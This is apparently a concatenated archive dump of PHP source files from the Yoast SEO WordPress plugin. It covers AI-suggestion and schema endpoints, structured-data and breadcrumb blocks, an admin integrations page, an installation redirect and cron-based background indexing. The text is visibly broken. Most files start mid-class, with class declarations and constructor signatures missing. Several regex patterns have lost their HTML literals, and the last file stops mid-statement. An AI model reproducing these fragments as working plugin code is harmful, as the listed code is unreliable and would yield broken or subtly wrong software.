'description' => 'The current editor.', ], ], 'callback' => [ $this, 'get_suggestions' ], 'permission_callback' => [ $this, 'check_permissions' ], ], ); } /** * Runs the callback to get AI-generated suggestions. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response The response of the get_suggestions action. */ public function get_suggestions( WP_REST_Request $request ): WP_REST_Response { try { $user = \wp_get_current_user(); $data = $this->suggestions_provider->get_suggestions( $user, $request->get_param( 'type' ), $request->get_param( 'prompt_content' ), $request->get_param( 'focus_keyphrase' ), $request->get_param( 'language' ), $request->get_param( 'platform' ), $request->get_param( 'editor' ), ); } catch ( Remote_Request_Exception $e ) { $message = [ 'message' => $e->getMessage(), 'errorIdentifier' => $e->get_error_identifier(), ]; if ( $e instanceof Payment_Required_Exception || $e instanceof Too_Many_Requests_Exception ) { $message['missingLicenses'] = $e->get_missing_licenses(); } return new WP_REST_Response( $message, $e->getCode(), ); } catch ( RuntimeException $e ) { return new WP_REST_Response( 'Failed to get suggestions.', 500 ); } return new WP_REST_Response( $data ); } } schema/application/configuration/schema-configuration.php000064400000010126152076254520020004 0ustar00woocommerce_helper = $woocommerce_helper; $this->product_helper = $product_helper; $this->addon_manager = $addon_manager; $this->options_helper = $options_helper; } /** * Returns the schema configuration. * * @return array>> */ public function get_configuration(): array { return [ 'isSchemaDisabledProgrammatically' => $this->is_schema_disabled_programmatically(), 'schemaApiIntegrations' => $this->get_schema_api_integrations(), ]; } /** * Gets the schema API integrations status. * * @return array> The schema API integrations status. */ public function get_schema_api_integrations(): array { $woocommerce_seo_file = 'wpseo-woocommerce/wpseo-woocommerce.php'; $woocommerce_active = $this->woocommerce_helper->is_active(); $woocommerce_seo_active = \is_plugin_active( $woocommerce_seo_file ); $woocommerce_seo_installed = $this->addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ); $woocommerce_seo_activate_url = \wp_nonce_url( \self_admin_url( 'plugins.php?action=activate&plugin=' . $woocommerce_seo_file ), 'activate-plugin_' . $woocommerce_seo_file, ); $is_premium = $this->product_helper->is_premium(); return [ 'tec' => [ 'isActive' => \class_exists( Events_Schema::class ), ], 'ssp' => [ 'isActive' => \class_exists( PodcastEpisode::class ), ], 'wp-recipe-maker' => [ 'isActive' => \class_exists( WP_Recipe_Maker::class ), ], 'woocommerce' => [ 'isPrerequisiteActive' => $woocommerce_active, 'isActive' => $woocommerce_seo_active, 'isInstalled' => $woocommerce_seo_installed, 'activationLink' => $woocommerce_seo_activate_url, ], 'edd' => [ 'isActive' => \class_exists( Easy_Digital_Downloads::class ), 'isPremium' => $is_premium, ], ]; } /** * Checks if the schema is disabled programmatically via the wpseo_json_ld_output filter. * * Only returns true if schema is enabled via the option (toggle) but disabled by external code. * * @return bool Whether schema is disabled by external code. */ public function is_schema_disabled_programmatically(): bool { $deprecated_data = [ '_deprecated' => 'Please use the "wpseo_schema_*" filters to extend the Yoast SEO schema data - see the WPSEO_Schema class.', ]; /** * Filter documented in Schema_Presenter::present(). */ $filtered_schema = \apply_filters( 'wpseo_json_ld_output', $deprecated_data, '' ); return ( $filtered_schema === [] || $filtered_schema === false ); } } schema/infrastructure/disable-schema-integration.php000064400000001642152076254520016772 0ustar00 */ public static function get_conditionals() { return []; } /** * Initializes the integration. * * Integrations hooking on `init` need to have a priority of 11 or higher to * ensure that they run, as priority 10 is used by the loader to load the integrations. * * @return void */ public function register_hooks() { \add_action( 'init', [ $this, 'register_block' ], 11 ); } /** * Registers the block. * * @return void */ public function register_block() { \register_block_type( $this->base_path . $this->block_name . '/block.json', [ 'editor_script' => $this->script, 'render_callback' => [ $this, 'present' ], ], ); } /** * Presents the block output. This is abstract because in the loop we need to be able to build the data for the * presenter in the last moment. * * @param array $attributes The block attributes. * * @return string The block output. */ abstract public function present( $attributes ); /** * Checks whether the links in the block should have target="blank". * * This is needed because when the editor is loaded in an Iframe the link needs to open in a different browser window. * We don't want this behaviour in the front-end and the way to check this is to check if the block is rendered in a REST request with the `context` set as 'edit'. Thus being in the editor. * * @return bool returns if the block should be opened in another window. */ protected function should_link_target_blank(): bool { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['context'] ) && \is_string( $_GET['context'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing. if ( \wp_unslash( $_GET['context'] ) === 'edit' ) { return true; } } return false; } } integrations/blocks/abstract-dynamic-block.php000064400000002366152076254530015575 0ustar00block_name, [ 'editor_script' => $this->script, 'render_callback' => [ $this, 'present' ], 'attributes' => [ 'className' => [ 'default' => '', 'type' => 'string', ], ], ], ); } /** * Presents the block output. This is abstract because in the loop we need to be able to build the data for the * presenter in the last moment. * * @param array $attributes The block attributes. * * @return string The block output. */ abstract public function present( $attributes ); } integrations/blocks/structured-data-blocks.php000064400000030404152076254530015640 0ustar00asset_manager = $asset_manager; $this->image_helper = $image_helper; } /** * Registers hooks for Structured Data Blocks with WordPress. * * @return void */ public function register_hooks() { $this->register_blocks(); } /** * Registers the blocks. * * @return void */ public function register_blocks() { /** * Filter: 'wpseo_enable_structured_data_blocks' - Allows disabling Yoast's schema blocks entirely. * * @param bool $enable If false, our structured data blocks won't show. */ if ( ! \apply_filters( 'wpseo_enable_structured_data_blocks', true ) ) { return; } \register_block_type( \WPSEO_PATH . 'blocks/structured-data-blocks/faq/block.json', [ 'render_callback' => [ $this, 'optimize_faq_images' ], ], ); \register_block_type( \WPSEO_PATH . 'blocks/structured-data-blocks/how-to/block.json', [ 'render_callback' => [ $this, 'optimize_how_to_images' ], ], ); } /** * Optimizes images in the FAQ blocks. * * @param array $attributes The attributes. * @param string $content The content. * * @return string The content with images optimized. */ public function optimize_faq_images( $attributes, $content ) { if ( ! isset( $attributes['questions'] ) ) { return $content; } return $this->optimize_images( $attributes['questions'], 'answer', $content ); } /** * Transforms the durations into a translated string containing the count, and either singular or plural unit. * For example (in en-US): If 'days' is 1, it returns "1 day". If 'days' is 2, it returns "2 days". * If a number value is 0, we don't output the string. * * @param number $days Number of days. * @param number $hours Number of hours. * @param number $minutes Number of minutes. * @return array Array of pluralized durations. */ private function transform_duration_to_string( $days, $hours, $minutes ) { $strings = []; if ( $days ) { $strings[] = \sprintf( /* translators: %d expands to the number of day/days. */ \_n( '%d day', '%d days', $days, 'wordpress-seo' ), $days, ); } if ( $hours ) { $strings[] = \sprintf( /* translators: %d expands to the number of hour/hours. */ \_n( '%d hour', '%d hours', $hours, 'wordpress-seo' ), $hours, ); } if ( $minutes ) { $strings[] = \sprintf( /* translators: %d expands to the number of minute/minutes. */ \_n( '%d minute', '%d minutes', $minutes, 'wordpress-seo' ), $minutes, ); } return $strings; } /** * Formats the durations into a translated string. * * @param array $attributes The attributes. * @return string The formatted duration. */ private function build_duration_string( $attributes ) { $days = ( $attributes['days'] ?? 0 ); $hours = ( $attributes['hours'] ?? 0 ); $minutes = ( $attributes['minutes'] ?? 0 ); $elements = $this->transform_duration_to_string( $days, $hours, $minutes ); $elements_length = \count( $elements ); switch ( $elements_length ) { case 1: return $elements[0]; case 2: return \sprintf( /* translators: %s expands to a unit of time (e.g. 1 day). */ \__( '%1$s and %2$s', 'wordpress-seo' ), ...$elements, ); case 3: return \sprintf( /* translators: %s expands to a unit of time (e.g. 1 day). */ \__( '%1$s, %2$s and %3$s', 'wordpress-seo' ), ...$elements, ); default: return ''; } } /** * Presents the duration text of the How-To block in the site language. * * @param array $attributes The attributes. * @param string $content The content. * * @return string The content with the duration text in the site language. */ public function present_duration_text( $attributes, $content ) { $duration = $this->build_duration_string( $attributes ); // 'Time needed:' is the default duration text that will be shown if a user doesn't add one. $duration_text = \__( 'Time needed:', 'wordpress-seo' ); if ( isset( $attributes['durationText'] ) && $attributes['durationText'] !== '' ) { $duration_text = $attributes['durationText']; } return \preg_replace( '/(

)(.*<\/span>)(.[^\/p>]*)(<\/p>)/', '

' . $duration_text . ' ' . $duration . '

', $content, 1, ); } /** * Optimizes images in the How-To blocks. * * @param array $attributes The attributes. * @param string $content The content. * * @return string The content with images optimized. */ public function optimize_how_to_images( $attributes, $content ) { if ( ! isset( $attributes['steps'] ) ) { return $content; } $content = $this->present_duration_text( $attributes, $content ); return $this->optimize_images( $attributes['steps'], 'text', $content ); } /** * Optimizes images in structured data blocks. * * @param array $elements The list of elements from the block attributes. * @param string $key The key in the data to iterate over. * @param string $content The content. * * @return string The content with images optimized. */ private function optimize_images( $elements, $key, $content ) { global $post; if ( ! $post ) { return $content; } $this->add_images_from_attributes_to_used_cache( $post->ID, $elements, $key ); // Then replace all images with optimized versions in the content. $content = \preg_replace_callback( '/]+>/', function ( $matches ) { \preg_match( '/src="([^"]+)"/', $matches[0], $src_matches ); if ( ! $src_matches || ! isset( $src_matches[1] ) ) { return $matches[0]; } $attachment_id = $this->attachment_src_to_id( $src_matches[1] ); if ( $attachment_id === 0 ) { return $matches[0]; } $image_size = 'full'; $image_style = [ 'style' => 'max-width: 100%; height: auto;' ]; \preg_match( '/style="[^"]*width:\s*(\d+)px[^"]*"/', $matches[0], $style_matches ); if ( $style_matches && isset( $style_matches[1] ) ) { $width = (int) $style_matches[1]; $meta_data = \wp_get_attachment_metadata( $attachment_id ); if ( isset( $meta_data['height'] ) && isset( $meta_data['width'] ) && $meta_data['height'] > 0 && $meta_data['width'] > 0 ) { $aspect_ratio = ( $meta_data['height'] / $meta_data['width'] ); $height = ( $width * $aspect_ratio ); $image_size = [ $width, $height ]; } $image_style = ''; } /** * Filter: 'wpseo_structured_data_blocks_image_size' - Allows adjusting the image size in structured data blocks. * * @since 18.2 * * @param string|int[] $image_size The image size. Accepts any registered image size name, or an array of width and height values in pixels (in that order). * @param int $attachment_id The id of the attachment. * @param string $attachment_src The attachment src. */ $image_size = \apply_filters( 'wpseo_structured_data_blocks_image_size', $image_size, $attachment_id, $src_matches[1], ); $image_html = \wp_get_attachment_image( $attachment_id, $image_size, false, $image_style, ); if ( empty( $image_html ) ) { return $matches[0]; } return $image_html; }, $content, ); if ( ! $this->registered_shutdown_function ) { \register_shutdown_function( [ $this, 'maybe_save_used_caches' ] ); $this->registered_shutdown_function = true; } return $content; } /** * If the caches of structured data block images have been changed, saves them. * * @return void */ public function maybe_save_used_caches() { foreach ( $this->used_caches as $post_id => $used_cache ) { if ( isset( $this->caches[ $post_id ] ) && $used_cache === $this->caches[ $post_id ] ) { continue; } \update_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', $used_cache ); } } /** * Converts an attachment src to an attachment ID. * * @param string $src The attachment src. * * @return int The attachment ID. 0 if none was found. */ private function attachment_src_to_id( $src ) { global $post; if ( isset( $this->used_caches[ $post->ID ][ $src ] ) ) { return $this->used_caches[ $post->ID ][ $src ]; } $cache = $this->get_cache_for_post( $post->ID ); if ( isset( $cache[ $src ] ) ) { $this->used_caches[ $post->ID ][ $src ] = $cache[ $src ]; return $cache[ $src ]; } $this->used_caches[ $post->ID ][ $src ] = $this->image_helper->get_attachment_by_url( $src ); return $this->used_caches[ $post->ID ][ $src ]; } /** * Returns the cache from postmeta for a given post. * * @param int $post_id The post ID. * * @return array The images cache. */ private function get_cache_for_post( $post_id ) { if ( isset( $this->caches[ $post_id ] ) ) { return $this->caches[ $post_id ]; } $cache = \get_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', true ); if ( ! $cache ) { $cache = []; } $this->caches[ $post_id ] = $cache; return $cache; } /** * Adds any images that have their ID in the block attributes to the cache. * * @param int $post_id The post ID. * @param array $elements The elements. * @param string $key The key in the elements we should loop over. * * @return void */ private function add_images_from_attributes_to_used_cache( $post_id, $elements, $key ) { // First, grab all image IDs from the attributes. $images = []; foreach ( $elements as $element ) { // Check if the key "images" exists in any of the elements, grab the image IDs. if ( isset( $element['images'] ) && \is_array( $element['images'] ) && \count( $element['images'] ) > 0 ) { $image_data = $element['images']; foreach ( $image_data as $image ) { if ( ! isset( $image['type'] ) || $image['type'] !== 'img' ) { continue; } if ( ! isset( $image['key'] ) || ! isset( $image['props']['src'] ) ) { continue; } $images[ $image['props']['src'] ] = (int) $image['key']; } } // Don't process the key again if we've already processed the "images" key. if ( ! isset( $element[ $key ] ) || ! \is_array( $element[ $key ] ) || isset( $element['images'] ) ) { continue; } if ( isset( $element[ $key ] ) && \is_array( $element[ $key ] ) ) { foreach ( $element[ $key ] as $part ) { if ( ! \is_array( $part ) || ! isset( $part['type'] ) || $part['type'] !== 'img' ) { continue; } if ( ! isset( $part['key'] ) || ! isset( $part['props']['src'] ) ) { continue; } $images[ $part['props']['src'] ] = (int) $part['key']; } } } if ( isset( $this->used_caches[ $post_id ] ) ) { $this->used_caches[ $post_id ] = \array_merge( $this->used_caches[ $post_id ], $images ); } else { $this->used_caches[ $post_id ] = $images; } } /* DEPRECATED METHODS */ /** * Enqueue Gutenberg block assets for backend editor. * * @deprecated 22.7 * @codeCoverageIgnore * * @return void */ public function enqueue_block_editor_assets() { \_deprecated_function( __METHOD__, 'Yoast SEO 22.7' ); } } integrations/blocks/breadcrumbs-block.php000064400000006657152076254530014650 0ustar00context_memoizer = $context_memoizer; $this->replace_vars = $replace_vars; $this->helpers = $helpers; $this->indexable_repository = $indexable_repository; $this->base_path = \WPSEO_PATH . 'blocks/dynamic-blocks/'; } /** * Presents the breadcrumbs output for the current page or the available post_id. * * @param array $attributes The block attributes. * * @return string The block output. */ public function present( $attributes ) { $presenter = new Breadcrumbs_Presenter(); // $this->context_memoizer->for_current_page only works on the frontend. To render the right breadcrumb in the // editor, we need the repository. if ( \wp_is_serving_rest_request() || \is_admin() ) { $post_id = \get_the_ID(); if ( $post_id ) { $indexable = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' ); if ( ! $indexable ) { $post = \get_post( $post_id ); $indexable = $this->indexable_repository->query()->create( [ 'object_id' => $post_id, 'object_type' => 'post', 'object_sub_type' => $post->post_type, ], ); } $context = $this->context_memoizer->get( $indexable, 'Post_Type' ); } } if ( ! isset( $context ) ) { $context = $this->context_memoizer->for_current_page(); } /** This filter is documented in src/integrations/front-end-integration.php */ $presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context ); $presenter->presentation = $presentation; $presenter->replace_vars = $this->replace_vars; $presenter->helpers = $this->helpers; $class_name = 'yoast-breadcrumbs'; if ( ! empty( $attributes['className'] ) ) { $class_name .= ' ' . \esc_attr( $attributes['className'] ); } return '
' . $presenter->present() . '
'; } } integrations/blocks/block-editor-integration.php000064400000002332152076254530016150 0ustar00 */ public static function get_conditionals() { return [ Post_Conditional::class ]; } /** * Constructor. * * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager. */ public function __construct( WPSEO_Admin_Asset_Manager $asset_manager ) { $this->asset_manager = $asset_manager; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'enqueue_block_assets', [ $this, 'enqueue' ] ); } /** * Enqueues the assets for the block editor. * * @return void */ public function enqueue() { $this->asset_manager->enqueue_style( 'block-editor' ); } } integrations/blocks/block-categories.php000064400000002134152076254530014466 0ustar00 'yoast-structured-data-blocks', 'title' => \sprintf( /* translators: %1$s expands to Yoast. */ \__( '%1$s Structured Data Blocks', 'wordpress-seo' ), 'Yoast', ), ]; $categories[] = [ 'slug' => 'yoast-internal-linking-blocks', 'title' => \sprintf( /* translators: %1$s expands to Yoast. */ \__( '%1$s Internal Linking Blocks', 'wordpress-seo' ), 'Yoast', ), ]; return $categories; } } integrations/xmlrpc.php000064400000002344152076254530011304 0ustar00get_post_type() ); } /** * This integration is only active when the child class's conditionals are met. * * @return string[] The conditionals. */ public static function get_conditionals() { return []; } /** * Returns the names of the post types to be excluded. * To be used in the wpseo_indexable_excluded_post_types filter. * * @return array The names of the post types. */ abstract public function get_post_type(); } integrations/admin/integrations-page.php000064400000023404152076254530014507 0ustar00admin_asset_manager = $admin_asset_manager; $this->options_helper = $options_helper; $this->elementor_conditional = $elementor_conditional; $this->jetpack_conditional = $jetpack_conditional; $this->site_kit_integration_data = $site_kit_integration_data; $this->site_kit_consent_management_endpoint = $site_kit_consent_management_endpoint; $this->schema_configuration = $schema_configuration; } /** * {@inheritDoc} */ public function register_hooks() { \add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 10 ); \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 ); } /** * Adds the integrations submenu page. * * @param array $submenu_pages The Yoast SEO submenu pages. * * @return array The filtered submenu pages. */ public function add_submenu_page( $submenu_pages ) { $integrations_page = [ 'wpseo_dashboard', '', \__( 'Integrations', 'wordpress-seo' ), 'wpseo_manage_options', 'wpseo_integrations', [ $this, 'render_target' ], ]; \array_splice( $submenu_pages, 1, 0, [ $integrations_page ] ); return $submenu_pages; } /** * Enqueue the integrations app. * * @return void */ public function enqueue_assets() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved. if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_integrations' ) { return; } $this->admin_asset_manager->enqueue_style( 'admin-css' ); $this->admin_asset_manager->enqueue_style( 'tailwind' ); $this->admin_asset_manager->enqueue_style( 'monorepo' ); $this->admin_asset_manager->enqueue_script( 'integrations-page' ); $acf_seo_file = 'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php'; $acf_seo_file_github = 'yoast-acf-analysis/yoast-acf-analysis.php'; $algolia_file = 'wp-search-with-algolia/algolia.php'; $old_algolia_file = 'search-by-algolia-instant-relevant-results/algolia.php'; $schema_api_integrations = $this->schema_configuration->get_schema_api_integrations(); $woocommerce_seo_installed = $schema_api_integrations['woocommerce']['isInstalled']; $woocommerce_seo_active = $schema_api_integrations['woocommerce']['isActive']; $woocommerce_active = $schema_api_integrations['woocommerce']['isPrerequisiteActive']; $woocommerce_seo_activate_url = $schema_api_integrations['woocommerce']['activationLink']; $edd_active = $schema_api_integrations['edd']['isActive']; $tec_active = $schema_api_integrations['tec']['isActive']; $ssp_active = $schema_api_integrations['ssp']['isActive']; $wp_recipe_maker_active = $schema_api_integrations['wp-recipe-maker']['isActive']; $acf_seo_installed = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file ); $acf_seo_github_installed = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file_github ); $acf_seo_active = \is_plugin_active( $acf_seo_file ); $acf_seo_github_active = \is_plugin_active( $acf_seo_file_github ); $acf_active = \class_exists( 'acf' ); $algolia_active = \is_plugin_active( $algolia_file ); $old_algolia_active = \is_plugin_active( $old_algolia_file ); $mastodon_active = $this->is_mastodon_active(); if ( $acf_seo_installed ) { $acf_seo_activate_url = \wp_nonce_url( \self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file ), 'activate-plugin_' . $acf_seo_file, ); } else { $acf_seo_activate_url = \wp_nonce_url( \self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file_github ), 'activate-plugin_' . $acf_seo_file_github, ); } $acf_seo_install_url = \wp_nonce_url( \self_admin_url( 'update.php?action=install-plugin&plugin=acf-content-analysis-for-yoast-seo' ), 'install-plugin_acf-content-analysis-for-yoast-seo', ); $this->admin_asset_manager->localize_script( 'integrations-page', 'wpseoIntegrationsData', [ 'semrush_integration_active' => $this->options_helper->get( 'semrush_integration_active', true ), 'allow_semrush_integration' => $this->options_helper->get( 'allow_semrush_integration_active', true ), 'algolia_integration_active' => $this->options_helper->get( 'algolia_integration_active', false ), 'allow_algolia_integration' => $this->options_helper->get( 'allow_algolia_integration_active', true ), 'wincher_integration_active' => $this->options_helper->get( 'wincher_integration_active', true ), 'allow_wincher_integration' => null, 'elementor_integration_active' => $this->elementor_conditional->is_met(), 'jetpack_integration_active' => $this->jetpack_conditional->is_met(), 'woocommerce_seo_installed' => $woocommerce_seo_installed, 'woocommerce_seo_active' => $woocommerce_seo_active, 'woocommerce_active' => $woocommerce_active, 'woocommerce_seo_activate_url' => $woocommerce_seo_activate_url, 'acf_seo_installed' => $acf_seo_installed || $acf_seo_github_installed, 'acf_seo_active' => $acf_seo_active || $acf_seo_github_active, 'acf_active' => $acf_active, 'acf_seo_activate_url' => $acf_seo_activate_url, 'acf_seo_install_url' => $acf_seo_install_url, 'algolia_active' => $algolia_active || $old_algolia_active, 'edd_integration_active' => $edd_active, 'ssp_integration_active' => $ssp_active, 'tec_integration_active' => $tec_active, 'wp-recipe-maker_integration_active' => $wp_recipe_maker_active, 'mastodon_active' => $mastodon_active, 'is_multisite' => \is_multisite(), 'plugin_url' => \plugins_url( '', \WPSEO_FILE ), 'site_kit_configuration' => $this->site_kit_integration_data->to_array(), 'site_kit_consent_management_url' => $this->site_kit_consent_management_endpoint->get_url(), 'schema_framework_enabled' => $this->options_helper->get( 'enable_schema', true ) === true && ! $this->schema_configuration->is_schema_disabled_programmatically(), ], ); } /** * Renders the target for the React to mount to. * * @return void */ public function render_target() { ?>
options_helper = $options_helper; $this->indexable_helper = $indexable_helper; } /** * Registers the action to register a cleanup routine run after the plugin is activated. * * @return void */ public function register_hooks() { \add_action( 'wpseo_activate', [ $this, 'register_cleanup_routine' ], 11 ); } /** * Registers a run of the cleanup routine if this has not happened yet. * * @return void */ public function register_cleanup_routine() { if ( ! $this->indexable_helper->should_index_indexables() ) { return; } $first_activated_on = $this->options_helper->get( 'first_activated_on', false ); if ( ! $first_activated_on || \time() > ( $first_activated_on + ( \MINUTE_IN_SECONDS * 5 ) ) ) { if ( ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) { \wp_schedule_single_event( ( \time() + \DAY_IN_SECONDS ), Cleanup_Integration::START_HOOK ); } } } } integrations/admin/fix-news-dependencies-integration.php000064400000003065152076254540017576 0ustar00registered['wpseo-news-editor'] ) ) { return; } $is_block_editor = WP_Screen::get()->is_block_editor(); $post_edit_handle = 'post-edit'; if ( ! $is_block_editor ) { $post_edit_handle = 'post-edit-classic'; } $scripts->registered['wpseo-news-editor']->deps[] = WPSEO_Admin_Asset_Manager::PREFIX . $post_edit_handle; } } integrations/admin/installation-success-integration.php000064400000010664152076254540017564 0ustar00options_helper = $options_helper; $this->product_helper = $product_helper; $this->shortlinker = $shortlinker; } /** * {@inheritDoc} */ public function register_hooks() { \add_filter( 'admin_menu', [ $this, 'add_submenu_page' ], 9 ); \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); \add_action( 'admin_init', [ $this, 'maybe_redirect' ] ); } /** * Redirects to the installation success page if an installation has just occurred. * * @return void */ public function maybe_redirect() { if ( \defined( 'DOING_AJAX' ) && \DOING_AJAX ) { return; } if ( ! $this->options_helper->get( 'should_redirect_after_install_free', false ) ) { return; } $this->options_helper->set( 'should_redirect_after_install_free', false ); if ( ! empty( $this->options_helper->get( 'activation_redirect_timestamp_free', 0 ) ) ) { return; } $this->options_helper->set( 'activation_redirect_timestamp_free', \time() ); // phpcs:ignore WordPress.Security.NonceVerification -- This is not a form. if ( isset( $_REQUEST['activate-multi'] ) && $_REQUEST['activate-multi'] === 'true' ) { return; } if ( $this->product_helper->is_premium() ) { return; } if ( \is_network_admin() || \is_plugin_active_for_network( \WPSEO_BASENAME ) ) { return; } \wp_safe_redirect( \admin_url( 'admin.php?page=wpseo_installation_successful_free' ), 302, 'Yoast SEO' ); $this->terminate_execution(); } /** * Adds the installation success submenu page. * * @param array $submenu_pages The Yoast SEO submenu pages. * * @return array the filtered submenu pages. */ public function add_submenu_page( $submenu_pages ) { \add_submenu_page( '', \__( 'Installation Successful', 'wordpress-seo' ), '', 'manage_options', 'wpseo_installation_successful_free', [ $this, 'render_page' ], ); return $submenu_pages; } /** * Enqueue assets on the Installation success page. * * @return void */ public function enqueue_assets() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved. if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_installation_successful_free' ) { return; } $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_script( 'installation-success' ); $asset_manager->enqueue_style( 'installation-success' ); $asset_manager->enqueue_style( 'monorepo' ); $ftc_url = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) ); $asset_manager->localize_script( 'installation-success', 'wpseoInstallationSuccess', [ 'pluginUrl' => \esc_url( \plugins_url( '', \WPSEO_FILE ) ), 'firstTimeConfigurationUrl' => $ftc_url, 'dashboardUrl' => \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard' ) ), 'explorePremiumUrl' => $this->shortlinker->build( 'https://yoa.st/ftc-premium-link' ), ], ); } /** * Renders the installation success page. * * @return void */ public function render_page() { echo '
'; } /** * Wrap the `exit` function to make unit testing easier. * * @return void */ public function terminate_execution() { exit(); } } integrations/admin/background-indexing-integration.php000064400000025403152076254540017334 0ustar00indexing_actions = $indexing_actions; $this->complete_indexation_action = $complete_indexation_action; $this->indexing_helper = $indexing_helper; $this->indexable_helper = $indexable_helper; $this->yoast_admin_and_dashboard_conditional = $yoast_admin_and_dashboard_conditional; $this->get_request_conditional = $get_request_conditional; $this->wp_cron_enabled_conditional = $wp_cron_enabled_conditional; } /** * Returns the conditionals based on which this integration should be active. * * @return array The array of conditionals. */ public static function get_conditionals() { return [ Migrations_Conditional::class, ]; } /** * Register hooks. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'register_shutdown_indexing' ] ); \add_action( 'wpseo_indexable_index_batch', [ $this, 'index' ] ); // phpcs:ignore WordPress.WP.CronInterval -- The sniff doesn't understand values with parentheses. https://github.com/WordPress/WordPress-Coding-Standards/issues/2025 \add_filter( 'cron_schedules', [ $this, 'add_cron_schedule' ] ); \add_action( 'admin_init', [ $this, 'schedule_cron_indexing' ], 11 ); $this->add_limit_filters(); } /** * Adds the filters that change the indexing limits. * * @return void */ public function add_limit_filters() { \add_filter( 'wpseo_post_indexation_limit', [ $this, 'throttle_cron_indexing' ] ); \add_filter( 'wpseo_post_type_archive_indexation_limit', [ $this, 'throttle_cron_indexing' ] ); \add_filter( 'wpseo_term_indexation_limit', [ $this, 'throttle_cron_indexing' ] ); \add_filter( 'wpseo_prominent_words_indexation_limit', [ $this, 'throttle_cron_indexing' ] ); \add_filter( 'wpseo_link_indexing_limit', [ $this, 'throttle_cron_link_indexing' ] ); } /** * Enqueues the required scripts. * * @return void */ public function register_shutdown_indexing() { if ( $this->should_index_on_shutdown( $this->get_shutdown_limit() ) ) { $this->register_shutdown_function( 'index' ); } } /** * Run a single indexing pass of each indexing action. Intended for use as a shutdown function. * * @return void */ public function index() { if ( \wp_doing_cron() && ! $this->should_index_on_cron() ) { $this->unschedule_cron_indexing(); return; } foreach ( $this->indexing_actions as $indexation_action ) { $indexation_action->index(); } if ( $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) === 0 ) { // We set this as complete, even though prominent words might not be complete. But that's the way we always treated that. $this->complete_indexation_action->complete(); } } /** * Adds the 'Every fifteen minutes' cron schedule to WP-Cron. * * @param array $schedules The existing schedules. * * @return array The schedules containing the fifteen_minutes schedule. */ public function add_cron_schedule( $schedules ) { if ( ! \is_array( $schedules ) ) { return $schedules; } $schedules['fifteen_minutes'] = [ 'interval' => ( 15 * \MINUTE_IN_SECONDS ), 'display' => \esc_html__( 'Every fifteen minutes', 'wordpress-seo' ), ]; return $schedules; } /** * Schedule background indexing every 15 minutes if the index isn't already up to date. * * @return void */ public function schedule_cron_indexing() { /** * Filter: 'wpseo_unindexed_count_queries_ran' - Informs whether the expensive unindexed count queries have been ran already. * * @internal * * @param bool $have_queries_ran */ $have_queries_ran = \apply_filters( 'wpseo_unindexed_count_queries_ran', false ); if ( ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) && ! $have_queries_ran ) { return; } if ( ! \wp_next_scheduled( 'wpseo_indexable_index_batch' ) && $this->should_index_on_cron() ) { \wp_schedule_event( ( \time() + \HOUR_IN_SECONDS ), 'fifteen_minutes', 'wpseo_indexable_index_batch' ); } } /** * Limit cron indexing to 15 indexables per batch instead of 25. * * @param int $indexation_limit The current limit (filter input). * * @return int The new batch limit. */ public function throttle_cron_indexing( $indexation_limit ) { if ( \wp_doing_cron() ) { /** * Filter: 'wpseo_cron_indexing_limit_size' - Adds the possibility to limit the number of items that are indexed when in cron action. * * @param int $limit Maximum number of indexables to be indexed per indexing action. */ return \apply_filters( 'wpseo_cron_indexing_limit_size', 15 ); } return $indexation_limit; } /** * Limit cron indexing to 3 links per batch instead of 5. * * @param int $link_indexation_limit The current limit (filter input). * * @return int The new batch limit. */ public function throttle_cron_link_indexing( $link_indexation_limit ) { if ( \wp_doing_cron() ) { /** * Filter: 'wpseo_cron_link_indexing_limit_size' - Adds the possibility to limit the number of links that are indexed when in cron action. * * @param int $limit Maximum number of link indexables to be indexed per link indexing action. */ return \apply_filters( 'wpseo_cron_link_indexing_limit_size', 3 ); } return $link_indexation_limit; } /** * Determine whether cron indexation should be performed. * * @return bool Should cron indexation be performed. */ protected function should_index_on_cron() { if ( ! $this->indexable_helper->should_index_indexables() ) { return false; } // The filter supersedes everything when preventing cron indexation. if ( \apply_filters( 'Yoast\WP\SEO\enable_cron_indexing', true ) !== true ) { return false; } return $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) > 0; } /** * Determine whether background indexation should be performed. * * @param int $shutdown_limit The shutdown limit used to determine whether indexation should be run. * * @return bool Should background indexation be performed. */ protected function should_index_on_shutdown( $shutdown_limit ) { if ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) { return false; } if ( ! $this->indexable_helper->should_index_indexables() ) { return false; } if ( $this->wp_cron_enabled_conditional->is_met() ) { return false; } $total_unindexed = 